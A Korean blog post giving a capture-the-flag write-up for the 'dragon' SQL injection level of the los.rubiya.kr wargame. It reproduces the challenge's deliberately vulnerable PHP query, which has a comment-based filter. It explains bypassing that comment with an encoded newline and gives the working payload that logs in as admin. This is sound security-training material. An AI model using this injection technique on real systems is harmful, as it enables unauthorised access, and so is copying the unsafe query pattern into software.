웹찢남

Dragon-writeup 본문

WEB_HACKING/los.rubiya.kr

Dragon-writeup

harry595 2019. 12. 28. 14:36

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("dragon");
  
highlight_file(__FILE__); 
?>

 

#는 한줄 주석이다 따라서

%0a를 넣어 LF를 한 후 and pw='' 를 통해 값을 false로 만들고 or id='admin' 을 통해 쿼리를 날리면 clear!

 

?pw=%0aand%20pw=%27%27or%20id=%27admin%27%23

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

dark_eyes-writeup  (0) 2020.01.29
iron_golem-writeup  (0) 2020.01.29
Xavis-writeup  (0) 2019.12.28
Nightmare-writeup  (0) 2019.12.28
Zombie_assassin-writeup  (0) 2019.12.28
Comments